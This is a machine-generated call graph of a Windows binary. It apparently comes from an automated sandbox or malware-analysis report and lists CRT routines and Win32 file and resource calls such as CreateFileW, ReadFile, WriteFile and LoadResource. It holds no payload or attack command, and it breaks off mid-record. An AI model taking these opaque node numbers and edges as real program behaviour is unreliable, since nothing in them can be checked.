___createFile GetModuleHandleW GetProcAddress CreateFileW 99832->99834 99836 da8d34 __free_osfhnd 58 API calls 99833->99836 99833->99849 99835 db878e 99834->99835 99837 db87c2 99835->99837 99838 db8796 GetLastError 99835->99838 99836->99849 99837->99782 99839 da8d47 __dosmaperr 58 API calls 99838->99839 99843 db87a2 99839->99843 99840 db0d2d __close_nolock 61 API calls 99840->99849 99841 db10ab 70 API calls __read_nolock 99841->99849 99842 db848c 99845 db99f2 __chsize_nolock 82 API calls 99842->99845 99842->99849 99844 dad67d __free_osfhnd 59 API calls 99843->99844 99844->99837 99845->99842 99846 dadac6 __write 78 API calls 99846->99849 99847 db8611 99848 db0d2d __close_nolock 61 API calls 99847->99848 99850 db8618 99848->99850 99849->99829 99849->99840 99849->99841 99849->99842 99849->99846 99849->99847 99851 db1b11 60 API calls __lseeki64_nolock 99849->99851 99852 da8d68 __recalloc 58 API calls 99850->99852 99851->99849 99852->99782 99853->99773 99854->99778 99855->99778 99857 d84ce1 99856->99857 99858 d84d9d LoadLibraryA 99856->99858 99857->99658 99857->99659 99858->99857 99859 d84dae GetProcAddress 99858->99859 99859->99857 99861 d85003 FindResourceExW 99860->99861 99863 d85020 99860->99863 99862 dbdd5c LoadResource 99861->99862 99861->99863 99862->99863 99864 dbdd71 SizeofResource 99862->99864 99863->99667 99864->99863 99865 dbdd85 LockResource 99864->99865 99865->99863 99867 d85054 99866->99867 99868 dbddd4 99866->99868 99872 da5a7d 99867->99872 99870 d85062 99870->99678 99871->99667 99873 da5a89 __initptd 99872->99873 99874 da5a9b 99873->99874 99875 da5ac1 99873->99875 99885 da8d68 58 API calls __getptd_noexit 99874->99885 99887 da6e4e 99875->99887 99878 da5aa0 99886 da8ff6 9 API calls __wcsnicmp 99878->99886 99879 da5ac7 99893 da59ee 83 API calls 5 library calls 99879->99893 99882 da5ad6 99894 da5af8 LeaveCriticalSection LeaveCriticalSection _fprintf 99882->99894 99884 da5aab __initptd 99884->99870 99885->99878 99886->99884 99888 da6e5e 99887->99888 99889 da6e80 EnterCriticalSection 99887->99889 99888->99889 99890 da6e66 99888->99890 99891 da6e76 99889->99891 99892 da9e4b __lock 58 API calls 99890->99892 99891->99879 99892->99891 99893->99882 99894->99884 99898 da582d 99895->99898 99897 d8508e 99897->99686 99899 da5839 __initptd 99898->99899 99900 da584f _memset 99899->99900 99901 da587c 99899->99901 99902 da5874 __initptd 99899->99902 99925 da8d68 58 API calls __getptd_noexit 99900->99925 99903 da6e4e __lock_file 59 API calls 99901->99903 99902->99897 99905 da5882 99903->99905 99911 da564d 99905->99911 99907 da5869 99926 da8ff6 9 API calls __wcsnicmp 99907->99926 99912 da5683 99911->99912 99916 da5668 _memset 99911->99916 99927 da58b6 LeaveCriticalSection LeaveCriticalSection _fprintf 99912->99927 99913 da5673 100023 da8d68 58 API calls __getptd_noexit 99913->100023 99915 da56c3 99915->99912 99919 da57d4 _memset 99915->99919 99928 da4916 99915->99928 99935 db10ab 99915->99935 100003 db0df7 99915->100003 100025 db0f18 58 API calls 4 library calls 99915->100025 99916->99912 99916->99913 99916->99915 100026 da8d68 58 API calls __getptd_noexit 99919->100026 99924 da5678 100024 da8ff6 9 API calls __wcsnicmp 99924->100024 99925->99907 99926->99902 99927->99902 99929 da4920 99928->99929 99930 da4935 99928->99930 100027 da8d68 58 API calls __getptd_noexit 99929->100027 99930->99915 99932 da4925 100028 da8ff6 9 API calls __wcsnicmp 99932->100028 99934 da4930 99934->99915 99936 db10cc 99935->99936 99937 db10e3 99935->99937 100038 da8d34 58 API calls __getptd_noexit 99936->100038 99938 db181b 99937->99938 99943 db111d 99937->99943 100054 da8d34 58 API calls __getptd_noexit 99938->100054 99940 db10d1 100039 da8d68 58 API calls __getptd_noexit 99940->100039 99945 db1125 99943->99945 99951 db113c 99943->99951 99944 db1820 100055 da8d68 58 API calls __getptd_noexit 99944->100055 100040 da8d34 58 API calls __getptd_noexit 99945->100040 99948 db1131 100056 da8ff6 9 API calls __wcsnicmp 99948->100056 99949 db10d8 99949->99915 99950 db112a 100041 da8d68 58 API calls __getptd_noexit 99950->100041 99951->99949 99952 db1151 99951->99952 99955 db116b 99951->99955 99958 db1189 99951->99958 100042 da8d34 58 API calls __getptd_noexit 99952->100042 99955->99952 99957 db1176 99955->99957 100029 db5ebb 99957->100029 100043 da8a5d 58 API calls __malloc_crt 99958->100043 99961 db1199 99963 db11bc 99961->99963 99964 db11a1 99961->99964 99962 db128a 99965 db1303 ReadFile 99962->99965 99971 db12a0 GetConsoleMode 99962->99971 100046 db1b11 60 API calls 3 library calls 99963->100046 100044 da8d68 58 API calls __getptd_noexit 99964->100044 99968 db17e3 GetLastError 99965->99968 99969 db1325 99965->99969 99972 db17f0 99968->99972 99973 db12e3 99968->99973 99969->99968 99978 db12f5 99969->99978 99970 db11a6 100045 da8d34 58 API calls __getptd_noexit 99970->100045 99975 db1300 99971->99975 99976 db12b4 99971->99976 100052 da8d68 58 API calls __getptd_noexit 99972->100052 99985 db12e9 99973->99985 100047 da8d47 58 API calls 3 library calls 99973->100047 99975->99965 99976->99975 99979 db12ba ReadConsoleW 99976->99979 99978->99985 99987 db135a 99978->99987 99993 db15c7 99978->99993 99979->99978 99981 db12dd GetLastError 99979->99981 99980 db17f5 100053 da8d34 58 API calls __getptd_noexit 99980->100053 99981->99973 99984 da2f95 _free 58 API calls 99984->99949 99985->99949 99985->99984 99988 db13c6 ReadFile 99987->99988 99996 db1447 99987->99996 99989 db13e7 GetLastError 99988->99989 100002 db13f1 99988->100002 99989->100002 99990 db1504 99997 db14b4 MultiByteToWideChar 99990->99997 100050 db1b11 60 API calls 3 library calls 99990->100050 99991 db14f4 100049 da8d68 58 API calls __getptd_noexit 99991->100049 99992 db16cd ReadFile 99995 db16f0 GetLastError 99992->99995 100001 db16fe 99992->100001 99993->99985 99993->99992 99995->100001 99996->99985 99996->99990 99996->99991 99996->99997 99997->99981 99997->99985 100001->99993 100051 db1b11 60 API calls 3 library calls 100001->100051 100002->99987 100048 db1b11 60 API calls 3 library calls 100002->100048 100004 db0e02 100003->100004 100008 db0e17 100003->100008 100090 da8d68 58 API calls __getptd_noexit 100004->100090 100006 db0e07 100091 da8ff6 9 API calls __wcsnicmp 100006->100091 100009 db0e4c 100008->100009 100014 db0e12 100008->100014 100092 db6234 58 API calls __malloc_crt 100008->100092 100011 da4916 __fflush_nolock 58 API calls 100009->100011 100012 db0e60 100011->100012 100057 db0f97 100012->100057 100014->99915 100015 db0e67 100015->100014 100016 da4916 __fflush_nolock 58 API calls 100015->100016 100017 db0e8a 100016->100017 100017->100014 100018 da4916 __fflush_nolock 58 API calls 100017->100018 100019 db0e96 100018->100019 100019->100014 100020 da4916 __fflush_nolock 58 API calls 100019->100020 100021 db0ea3 100020->100021 100022 da4916 __fflush_nolock 58 API calls 100021->100022 100022->100014 100023->99924 100024->99912 100025->99915 100026->99924 100027->99932 100028->99934 100030 db5ed3 100029->100030 100031 db5ec6 100029->100031 100034 db5edf 100030->100034 100035 da8d68 __recalloc 58 API calls 100030->100035 100032 da8d68 __recalloc 58 API calls 100031->100032 100033 db5ecb 100032->100033 100033->99962 100034->99962 100036 db5f00 100035->100036 100037 da8ff6 __wcsnicmp 9 API calls 100036->100037 100037->100033 100038->99940 100039->99949 100040->99950 100041->99948 100042->99950 100043->99961 100044->99970 100045->99949 100046->99957 100047->99985 100048->100002 100049->99985 100050->99997 100051->100001 100052->99980 100053->99985 100054->99944 100055->99948 100056->99949 100058 db0fa3 __initptd 100057->100058 100059 db0fb0 100058->100059 100060 db0fc7 100058->100060 100061 da8d34 __free_osfhnd 58 API calls 100059->100061 100062 db108b 100060->100062 100065 db0fdb 100060->100065 100064 db0fb5 100061->100064 100063 da8d34 __free_osfhnd 58 API calls 100062->100063 100066 db0ffe 100063->100066 100067 da8d68 __recalloc 58 API calls 100064->100067 100068 db0ff9 100065->100068 100069 db1006 100065->100069 100074 da8d68 __recalloc 58 API calls 100066->100074 100078 db0fbc __initptd 100067->100078 100070 da8d34 __free_osfhnd 58 API calls 100068->100070 100071 db1028 100069->100071 100072 db1013 100069->100072 100070->100066 100073 dad446 ___lock_fhandle 59 API calls 100071->100073 100075 da8d34 __free_osfhnd 58 API calls 100072->100075 100077 db102e 100073->100077 100082 db1020 100074->100082 100076 db1018 100075->100076 100079 da8d68 __recalloc 58 API calls 100076->100079 100080 db1041 100077->100080 100081 db1054 100077->100081 100078->100015 100079->100082 100083 db10ab __read_nolock 70 API calls 100080->100083 100085 da8d68 __recalloc 58 API calls 100081->100085 100084 da8ff6 __wcsnicmp 9 API calls 100082->100084 100086 db104d 100083->100086 100084->100078 100087 db1059 100085->100087 100089 db1083 __read LeaveCriticalSection 100086->100089 100088 da8d34 __free_osfhnd 58 API calls 100087->100088 100088->100086 100089->100078 100090->100006 100091->100014 100092->100009 100096 da543a GetSystemTimeAsFileTime 100093->100096 100095 de91f8 100095->99688 100097 da5468 __aulldiv 100096->100097 100097->100095 100099 da5e9c __initptd 100098->100099 100100 da5eae 100099->100100 100101 da5ec3 100099->100101 100112 da8d68 58 API calls __getptd_noexit 100100->100112 100103 da6e4e __lock_file 59 API calls 100101->100103 100105 da5ec9 100103->100105 100104 da5eb3 100113 da8ff6 9 API calls __wcsnicmp 100104->100113 100114 da5b00 67 API calls 7 library calls 100105->100114 100108 da5ed4 100115 da5ef4 LeaveCriticalSection LeaveCriticalSection _fprintf 100108->100115 100110 da5ee6 100111 da5ebe __initptd 100110->100111 100111->99692 100112->100104 100113->100111 100114->100108 100115->100110 100116->99577 100117->99579 100118->99576 100119->99585 100121 d892c9 Mailbox 100120->100121 100122 dbf5c8 100121->100122 100127 d892d3 100121->100127 100124 da0ff6 Mailbox 59 API calls 100122->100124 100123 d892da 100123->99590 100125 dbf5d4 100124->100125 100127->100123 100128 d89df0 59 API calls Mailbox 100127->100128 100128->100127 100129->99600 100130->99595 100136 de99d2 __tzset_nolock _wcscmp 100131->100136 100132 d8506b 74 API calls 100132->100136 100133 de9866 100133->99606 100133->99633 100134 de9393 GetSystemTimeAsFileTime 100134->100136 100135 d85045 85 API calls 100135->100136 100136->100132 100136->100133 100136->100134 100136->100135 100138 de8da9 100137->100138 100139 de8d9b 100137->100139 100141 de8dee 100138->100141 100142 da548b 115 API calls 100138->100142 100167 de8db2 100138->100167 100140 da548b 115 API calls 100139->100140 100140->100138 100168 de901b 100141->100168 100143 de8dd3 100142->100143 100143->100141 100145 de8ddc 100143->100145 100148 da55d6 __fcloseall 83 API calls 100145->100148 100145->100167 100146 de8e32 100147 de8e57 100146->100147 100150 de8e36 100146->100150 100172 de8c33 100147->100172 100148->100167 100151 de8e43 100150->100151 100153 da55d6 __fcloseall 83 API calls 100150->100153 100154 da55d6 __fcloseall 83 API calls 100151->100154 100151->100167 100153->100151 100154->100167 100155 de8e85 100181 de8eb5 100155->100181 100156 de8e65 100158 de8e72 100156->100158 100160 da55d6 __fcloseall 83 API calls 100156->100160 100162 da55d6 __fcloseall 83 API calls 100158->100162 100158->100167 100160->100158 100162->100167 100164 de8ea0 100166 da55d6 __fcloseall 83 API calls 100164->100166 100164->100167 100166->100167 100167->99635 100169 de9029 __tzset_nolock _memmove 100168->100169 100170 de9040 100168->100170 100169->100146 100171 da5812 __fread_nolock 74 API calls 100170->100171 100171->100169 100173 da594c __malloc_crt 58 API calls 100172->100173 100174 de8c42 100173->100174 100175 da594c __malloc_crt 58 API calls 100174->100175 100176 de8c56 100175->100176 100177 da594c __malloc_crt 58 API calls 100176->100177 100178 de8c6a 100177->100178 100179 de8f97 58 API calls 100178->100179 100180 de8c7d 100178->100180 100179->100180 100180->100155 100180->100156 100188 de8eca 100181->100188 100182 de8f82 100214 de91bf 100182->100214 100183 de8c8f 74 API calls 100183->100188 100185 de8e8c 100189 de8f97 100185->100189 100188->100182 100188->100183 100188->100185 100210 de909c 100188->100210 100218 de8d2b 74 API calls 100188->100218 100190 de8faa 100189->100190 100191 de8fa4 100189->100191 100193 da2f95 _free 58 API calls 100190->100193 100194 de8fbb 100190->100194 100192 da2f95 _free 58 API calls 100191->100192 100192->100190 100193->100194 100195 da2f95 _free 58 API calls 100194->100195 100196 de8e93 100194->100196 100195->100196 100196->100164 100197 da55d6 100196->100197 100198 da55e2 __initptd 100197->100198 100199 da560e 100198->100199 100200 da55f6 100198->100200 100203 da6e4e __lock_file 59 API calls 100199->100203 100206 da5606 __initptd 100199->100206 100267 da8d68 58 API calls __getptd_noexit 100200->100267 100202 da55fb 100268 da8ff6 9 API calls __wcsnicmp 100202->100268 100205 da5620 100203->100205 100251 da556a 100205->100251 100206->100164 100211 de90ab 100210->100211 100212 de90eb 100210->100212 100211->100188 100212->100211 100219 de9172 100212->100219 100215 de91cc 100214->100215 100216 de91dd 100214->100216 100217 da4a93 80 API calls 100215->100217 100216->100185 100217->100216 100218->100188 100220 de919e 100219->100220 100221 de91af 100219->100221 100223 da4a93 100220->100223 100221->100212 100224 da4a9f __initptd 100223->100224 100225 da4abd 100224->100225 100226 da4ad5 100224->100226 100227 da4acd __initptd 100224->100227 100248 da8d68 58 API calls __getptd_noexit 100225->100248 100228 da6e4e __lock_file 59 API calls 100226->100228 100227->100221 100230 da4adb 100228->100230 100236 da493a 100230->100236 100231 da4ac2 100249 da8ff6 9 API calls __wcsnicmp 100231->100249 100239 da4949 100236->100239 100243 da4967 100236->100243 100237 da4957 100238 da8d68 __recalloc 58 API calls 100237->100238 100240 da495c 100238->100240 100239->100237 100241 da4981 _memmove 100239->100241 100239->100243 100242 da8ff6 __wcsnicmp 9 API calls 100240->100242 100241->100243 100244 dab05e __flsbuf 78 API calls 100241->100244 100245 da4c6d __flush 78 API calls 100241->100245 100246 da4916 __fflush_nolock 58 API calls 100241->100246 100247 dadac6 __write 78 API calls 100241->100247 100242->100243 100250 da4b0d LeaveCriticalSection LeaveCriticalSection _fprintf 100243->100250 100244->100241 100245->100241 100246->100241 100247->100241 100248->100231 100249->100227 100250->100227 100252 da5579 100251->100252 100253 da558d 100251->100253 100306 da8d68 58 API calls __getptd_noexit 100252->100306 100259 da5589 100253->100259 100270 da4c6d 100253->100270 100255 da557e 100307 da8ff6 9 API calls __wcsnicmp 100255->100307 100269 da5645 LeaveCriticalSection LeaveCriticalSection _fprintf 100259->100269 100262 da4916 __fflush_nolock 58 API calls 100263 da55a7 100262->100263 100280 db0c52 100263->100280 100265 da55ad 100265->100259 100266 da2f95 _free 58 API calls 100265->100266 100266->100259 100267->100202 100268->100206 100269->100206 100271 da4c80 100270->100271 100275 da4ca4 100270->100275 100272 da4916 __fflush_nolock 58 API calls 100271->100272 100271->100275 100273 da4c9d 100272->100273 100308 dadac6 100273->100308 100276 db0dc7 100275->100276 100277 da55a1 100276->100277 100278 db0dd4 100276->100278 100277->100262 100278->100277 100279 da2f95 _free 58 API calls 100278->100279 100279->100277 100281 db0c5e __initptd 100280->100281 100282 db0c6b 100281->100282 100283 db0c82 100281->100283 100433 da8d34 58 API calls __getptd_noexit 100282->100433 100284 db0d0d 100283->100284 100286 db0c92 100283->100286 100438 da8d34 58 API calls __getptd_noexit 100284->100438 100289 db0cba 100286->100289 100290 db0cb0 100286->100290 100288 db0c70 100434 da8d68 58 API calls __getptd_noexit 100288->100434 100294 dad446 ___lock_fhandle 59 API calls 100289->100294 100435 da8d34 58 API calls __getptd_noexit 100290->100435 100291 db0cb5 100439 da8d68 58 API calls __getptd_noexit 100291->100439 100297 db0cc0 100294->100297 100295 db0c77 __initptd 100295->100265 100299 db0cde 100297->100299 100300 db0cd3 100297->100300 100298 db0d19 100440 da8ff6 9 API calls __wcsnicmp 100298->100440 100436 da8d68 58 API calls __getptd_noexit 100299->100436 100418 db0d2d 100300->100418 100304 db0cd9 100437 db0d05 LeaveCriticalSection __unlock_fhandle 100304->100437 100306->100255 100307->100259 100309 dadad2 __initptd 100308->100309 100310 dadadf 100309->100310 100311 dadaf6 100309->100311 100409 da8d34 58 API calls __getptd_noexit 100310->100409 100313 dadb95 100311->100313 100316 dadb0a 100311->100316 100415 da8d34 58 API calls __getptd_noexit 100313->100415 100315 dadae4 100410 da8d68 58 API calls __getptd_noexit 100315->100410 100319 dadb28 100316->100319 100320 dadb32 100316->100320 100317 dadb2d 100416 da8d68 58 API calls __getptd_noexit 100317->100416 100411 da8d34 58 API calls __getptd_noexit 100319->100411 100336 dad446 100320->100336 100324 dadb38 100326 dadb4b 100324->100326 100327 dadb5e 100324->100327 100325 dadba1 100417 da8ff6 9 API calls __wcsnicmp 100325->100417 100345 dadbb5 100326->100345 100412 da8d68 58 API calls __getptd_noexit 100327->100412 100331 dadaeb __initptd 100331->100275 100332 dadb57 100414 dadb8d LeaveCriticalSection __unlock_fhandle 100332->100414 100333 dadb63 100413 da8d34 58 API calls __getptd_noexit 100333->100413 100337 dad452 __initptd 100336->100337 100338 dad4a1 EnterCriticalSection 100337->100338 100340 da9e4b __lock 58 API calls 100337->100340 100339 dad4c7 __initptd 100338->100339 100339->100324 100341 dad477 100340->100341 100342 dad48f 100341->100342 100344 daa06b __mtinitlocks InitializeCriticalSectionAndSpinCount 100341->100344 100343 dad4cb ___lock_fhandle LeaveCriticalSection 100342->100343 100343->100338 100344->100342 100346 dadbc2 __ftell_nolock 100345->100346 100347 dadc20 100346->100347 100348 dadc01 100346->100348 100373 dadbf6 100346->100373 100351 dadc78 100347->100351 100352 dadc5c 100347->100352 100350 da8d34 __free_osfhnd 58 API calls 100348->100350 100349 dac836 __cftog_l 6 API calls 100353 dae416 100349->100353 100354 dadc06 100350->100354 100356 dadc91 100351->100356 100358 db1b11 __lseeki64_nolock 60 API calls 100351->100358 100355 da8d34 __free_osfhnd 58 API calls 100352->100355 100353->100332 100357 da8d68 __recalloc 58 API calls 100354->100357 100361 dadc61 100355->100361 100360 db5ebb __flsbuf 58 API calls 100356->100360 100359 dadc0d 100357->100359 100358->100356 100362 da8ff6 __wcsnicmp 9 API calls 100359->100362 100363 dadc9f 100360->100363 100364 da8d68 __recalloc 58 API calls 100361->100364 100362->100373 100365 dadff8 100363->100365 100370 da9bec __setmbcp 58 API calls 100363->100370 100366 dadc68 100364->100366 100367 dae38b WriteFile 100365->100367 100368 dae016 100365->100368 100369 da8ff6 __wcsnicmp 9 API calls 100366->100369 100371 dadfeb GetLastError 100367->100371 100378 dadfb8 100367->100378 100372 dae13a 100368->100372 100381 dae02c 100368->100381 100369->100373 100374 dadccb GetConsoleMode 100370->100374 100371->100378 100383 dae145 100372->100383 100386 dae22f 100372->100386 100373->100349 100374->100365 100376 dadd0a 100374->100376 100375 dae3c4 100375->100373 100377 da8d68 __recalloc 58 API calls 100375->100377 100376->100365 100379 dadd1a GetConsoleCP 100376->100379 100384 dae3f2 100377->100384 100378->100373 100378->100375 100385 dae118 100378->100385 100379->100375 100401 dadd49 100379->100401 100380 dae09b WriteFile 100380->100371 100382 dae0d8 100380->100382 100381->100375 100381->100380 100382->100381 100387 dae0fc 100382->100387 100383->100375 100388 dae1aa WriteFile 100383->100388 100389 da8d34 __free_osfhnd 58 API calls 100384->100389 100390 dae3bb 100385->100390 100391 dae123 100385->100391 100386->100375 100392 dae2a4 WideCharToMultiByte 100386->100392 100387->100378 100388->100371 100393 dae1f9 100388->100393 100389->100373 100395 da8d47 __dosmaperr 58 API calls 100390->100395 100394 da8d68 __recalloc 58 API calls 100391->100394 100392->100371 100402 dae2eb 100392->100402 100393->100378 100393->100383 100393->100387 100397 dae128 100394->100397 100395->100373 100396 dae2f3 WriteFile 100399 dae346 GetLastError 100396->100399 100396->100402 100400 da8d34 __free_osfhnd 58 API calls 100397->100400 100398 da3835 __write_nolock 58 API calls 100398->100401 100399->100402 100400->100373 100401->100378 100401->100398 100404 db650a 60 API calls __write_nolock 100401->100404 100405 dade32 WideCharToMultiByte 100401->100405 100408 dade9f 100401->100408 100402->100378 100402->100386 100402->100387 100402->100396 100403 db7cae WriteConsoleW CreateFileW __putwch_nolock 100403->100408 100404->100401 100405->100378 100406 dade6d WriteFile 100405->100406 100406->100371 100406->100408 100407 dadec7 WriteFile 100407->100371 100407->100408 100408->100371 100408->100378 100408->100401 100408->100403 100408->100407 100409->100315 100410->100331 100411->100317 100412->100333 100413->100332 100414->100331 100415->100317 100416->100325 100417->100331 100441 dad703 100418->100441 100420 db0d91 100454 dad67d 59 API calls 2 library calls 100420->100454 100422 db0d3b 100422->100420 100424 dad703 __lseeki64_nolock 58 API calls 100422->100424 100432 db0d6f 100422->100432 100423 dad703 __lseeki64_nolock 58 API calls 100426 db0d7b FindCloseChangeNotification 100423->100426 100425 db0d66 100424->100425 100429 dad703 __lseeki64_nolock 58 API calls 100425->100429 100426->100420 100430 db0d87 GetLastError 100426->100430 100427 db0dbb 100427->100304 100428 db0d99 100428->100427 100455 da8d47 58 API calls 3 library calls 100428->100455 100429->100432 100430->100420 100432->100420 100432->100423 100433->100288 100434->100295 100435->100291 100436->100304 100437->100295 100438->100291 100439->100298 100440->100295 100442 dad70e 100441->100442 100443 dad723 100441->100443 100444 da8d34 __free_osfhnd 58 API calls 100442->100444 100446 da8d34 __free_osfhnd 58 API calls 100443->100446 100448 dad748 100443->100448 100445 dad713 100444->100445 100447 da8d68 __recalloc 58 API calls 100445->100447 100449 dad752 100446->100449 100450 dad71b 100447->100450 100448->100422 100451 da8d68 __recalloc 58 API calls 100449->100451 100450->100422 100452 dad75a 100451->100452 100453 da8ff6 __wcsnicmp 9 API calls 100452->100453 100453->100450 100454->100428 100455->100427 100457 da09e2 __ftell_nolock 100456->100457 100458 da09f1 GetLongPathNameW 100457->100458 100459 d87d2c 59 API calls 100458->100459 100460 d8741d 100459->100460 100461 d8716b 100460->100461 100462 d877c7 59 API calls 100461->100462 100463 d8717d 100462->100463 100464 d848ae 60 API calls 100463->100464 100465 d87188 100464->100465 100466 d87193 100465->100466 100471 dbecae 100465->100471 100467 d83f84 59 API calls 100466->100467 100469 d8719f 100467->100469 100508 d834c2 100469->100508 100473 dbecc8 100471->100473 100514 d87a68 61 API calls 100471->100514 100472 d871b2 Mailbox 100472->99397 100475 d84f3d 136 API calls 100474->100475 100476 d869ef 100475->100476 100477 dbe45a 100476->100477 100479 d84f3d 136 API calls 100476->100479 100478 de97e5 122 API calls 100477->100478 100481 dbe46f 100478->100481 100480 d86a03 100479->100480 100480->100477 100482 d86a0b 100480->100482 100483 dbe473 100481->100483 100484 dbe490 100481->100484 100485 dbe47b 100482->100485 100486 d86a17 100482->100486 100487 d84faa 84 API calls 100483->100487 100488 da0ff6 Mailbox 59 API calls 100484->100488 100622 de4534 90 API calls _wprintf 100485->100622 100515 d86bec 100486->100515 100487->100485 100507 dbe4d5 Mailbox 100488->100507 100492 dbe489 100492->100484 100493 dbe689 100494 da2f95 _free 58 API calls 100493->100494 100495 dbe691 100494->100495 100496 d84faa 84 API calls 100495->100496 100497 dbe69a 100496->100497 100501 da2f95 _free 58 API calls 100497->100501 100502 d84faa 84 API calls 100497->100502 100626 ddfcb1 89 API calls 4 library calls 100497->100626 100501->100497 100502->100497 100504 d87f41 59 API calls 100504->100507 100507->100493 100507->100497 100507->100504 100608 d8766f 100507->100608 100616 d874bd 100507->100616 100623 ddfc4d 59 API calls 2 library calls 100507->100623 100624 ddfb6e 61 API calls 2 library calls 100507->100624 100625 de7621 59 API calls Mailbox 100507->100625 100509 d834d4 100508->100509 100513 d834f3 _memmove 100508->100513 100511 da0ff6 Mailbox 59 API calls 100509->100511 100510 da0ff6 Mailbox 59 API calls 100512 d8350a 100510->100512 100511->100513 100512->100472 100513->100510 100514->100471 100516 dbe847 100515->100516 100517 d86c15 100515->100517 100718 ddfcb1 89 API calls 4 library calls 100516->100718 100632 d85906 60 API calls Mailbox 100517->100632 100520 d86c37 100633 d85956 100520->100633 100521 dbe85a 100719 ddfcb1 89 API calls 4 library calls 100521->100719 100524 d86c54 100527 d877c7 59 API calls 100524->100527 100526 dbe876 100556 d86cc1 100526->100556 100528 d86c60 100527->100528 100646 da0b9b 60 API calls __ftell_nolock 100528->100646 100530 dbe889 100533 d85dcf CloseHandle 100530->100533 100531 d86ccf 100534 d877c7 59 API calls 100531->100534 100532 d86c6c 100535 d877c7 59 API calls 100532->100535 100536 dbe895 100533->100536 100537 d86cd8 100534->100537 100538 d86c78 100535->100538 100540 d84f3d 136 API calls 100536->100540 100541 d877c7 59 API calls 100537->100541 100539 d848ae 60 API calls 100538->100539 100542 d86c86 100539->100542 100543 dbe8b1 100540->100543 100544 d86ce1 100541->100544 100647 d859b0 ReadFile SetFilePointerEx 100542->100647 100546 dbe8da 100543->100546 100549 de97e5 122 API calls 100543->100549 100656 d846f9 100544->100656 100720 ddfcb1 89 API calls 4 library calls 100546->100720 100548 d86cb2 100648 d85c4e 100548->100648 100553 dbe8cd 100549->100553 100550 d86cf8 100554 d87c8e 59 API calls 100550->100554 100557 dbe8f6 100553->100557 100558 dbe8d5 100553->100558 100559 d86d09 SetCurrentDirectoryW 100554->100559 100555 dbe8f1 100586 d86e6c Mailbox 100555->100586 100556->100530 100556->100531 100560 d84faa 84 API calls 100557->100560 100561 d84faa 84 API calls 100558->100561 100564 d86d1c Mailbox 100559->100564 100562 dbe8fb 100560->100562 100561->100546 100563 da0ff6 Mailbox 59 API calls 100562->100563 100570 dbe92f 100563->100570 100567 d83bcd 100567->99264 100567->99286 100571 d8766f 59 API calls 100570->100571 100605 dbe978 Mailbox 100571->100605 100575 dbeb69 100725 de7581 59 API calls Mailbox 100575->100725 100579 dbeb8b 100726 def835 59 API calls 2 library calls 100579->100726 100582 dbeb98 100584 da2f95 _free 58 API calls 100582->100584 100584->100586 100627 d85934 100586->100627 100588 d8766f 59 API calls 100588->100605 100598 d87f41 59 API calls 100598->100605 100602 dbebbb 100727 ddfcb1 89 API calls 4 library calls 100602->100727 100604 dbebd4 100606 da2f95 _free 58 API calls 100604->100606 100605->100575 100605->100588 100605->100598 100605->100602 100721 ddfc4d 59 API calls 2 library calls 100605->100721 100722 ddfb6e 61 API calls 2 library calls 100605->100722 100723 de7621 59 API calls Mailbox 100605->100723 100724 d87373 59 API calls Mailbox 100605->100724 100607 dbebe7 100606->100607 100607->100586 100609 d8770f 100608->100609 100612 d87682 _memmove 100608->100612 100611 da0ff6 Mailbox 59 API calls 100609->100611 100610 da0ff6 Mailbox 59 API calls 100613 d87689 100610->100613 100611->100612 100612->100610 100614 da0ff6 Mailbox 59 API calls 100613->100614 100615 d876b2 100613->100615 100614->100615 100615->100507 100617 d874d0 100616->100617 100619 d8757e 100616->100619 100618 da0ff6 Mailbox 59 API calls 100617->100618 100621 d87502 100617->100621 100618->100621 100619->100507 100620 da0ff6 59 API calls Mailbox 100620->100621 100621->100619 100621->100620 100622->100492 100623->100507 100624->100507 100625->100507 100626->100497 100628 d85dcf CloseHandle 100627->100628 100629 d8593c Mailbox 100628->100629 100630 d85dcf CloseHandle 100629->100630 100631 d8594b 100630->100631 100631->100567 100632->100520 100634 d85dcf CloseHandle 100633->100634 100635 d85962 100634->100635 100730 d85df9 100635->100730 100637 d85981 100641 d859a4 100637->100641 100738 d85770 100637->100738 100639 d85993 100755 d853db SetFilePointerEx SetFilePointerEx 100639->100755 100641->100521 100641->100524 100642 dbe030 100756 de3696 SetFilePointerEx SetFilePointerEx WriteFile 100642->100756 100643 d8599a 100643->100641 100643->100642 100645 dbe060 100645->100641 100646->100532 100647->100548 100655 d85c68 100648->100655 100649 d85cef SetFilePointerEx 100762 d85dae SetFilePointerEx 100649->100762 100650 dbe151 100763 d85dae SetFilePointerEx 100650->100763 100653 d85cc3 100653->100556 100654 dbe16b 100655->100649 100655->100650 100655->100653 100657 d877c7 59 API calls 100656->100657 100658 d8470f 100657->100658 100659 d877c7 59 API calls 100658->100659 100660 d84717 100659->100660 100661 d877c7 59 API calls 100660->100661 100662 d8471f 100661->100662 100663 d877c7 59 API calls 100662->100663 100664 d84727 100663->100664 100665 dbd8fb 100664->100665 100666 d8475b 100664->100666 100667 d881a7 59 API calls 100665->100667 100668 d879ab 59 API calls 100666->100668 100669 dbd904 100667->100669 100670 d84769 100668->100670 100671 d87eec 59 API calls 100669->100671 100672 d87e8c 59 API calls 100670->100672 100674 d8479e 100671->100674 100673 d84773 100672->100673 100673->100674 100675 d879ab 59 API calls 100673->100675 100676 d847de 100674->100676 100678 d847bd 100674->100678 100689 dbd924 100674->100689 100679 d84794 100675->100679 100764 d879ab 100676->100764 100680 d87b52 59 API calls 100678->100680 100683 d87e8c 59 API calls 100679->100683 100684 d847c7 100680->100684 100681 d847ef 100685 d84801 100681->100685 100687 d881a7 59 API calls 100681->100687 100682 dbd9f4 100686 d87d2c 59 API calls 100682->100686 100683->100674 100684->100676 100691 d879ab 59 API calls 100684->100691 100688 d84811 100685->100688 100692 d881a7 59 API calls 100685->100692 100702 dbd9b1 100686->100702 100687->100685 100690 d84818 100688->100690 100694 d881a7 59 API calls 100688->100694 100689->100682 100693 dbd9dd 100689->100693 100700 dbd95b 100689->100700 100695 d881a7 59 API calls 100690->100695 100704 d8481f Mailbox 100690->100704 100691->100676 100692->100688 100693->100682 100697 dbd9c8 100693->100697 100694->100690 100695->100704 100696 dbd9b9 100698 d87d2c 59 API calls 100696->100698 100699 d87d2c 59 API calls 100697->100699 100698->100702 100699->100702 100700->100696 100705 dbd9a4 100700->100705 100701 d87b52 59 API calls 100701->100702 100702->100676 100702->100701 100777 d87a84 59 API calls 2 library calls 100702->100777 100704->100550 100706 d87d2c 59 API calls 100705->100706 100706->100702 100718->100521 100719->100526 100720->100555 100721->100605 100722->100605 100723->100605 100724->100605 100725->100579 100726->100582 100727->100604 100731 dbe181 100730->100731 100732 d85e12 CreateFileW 100730->100732 100733 d85e34 100731->100733 100734 dbe187 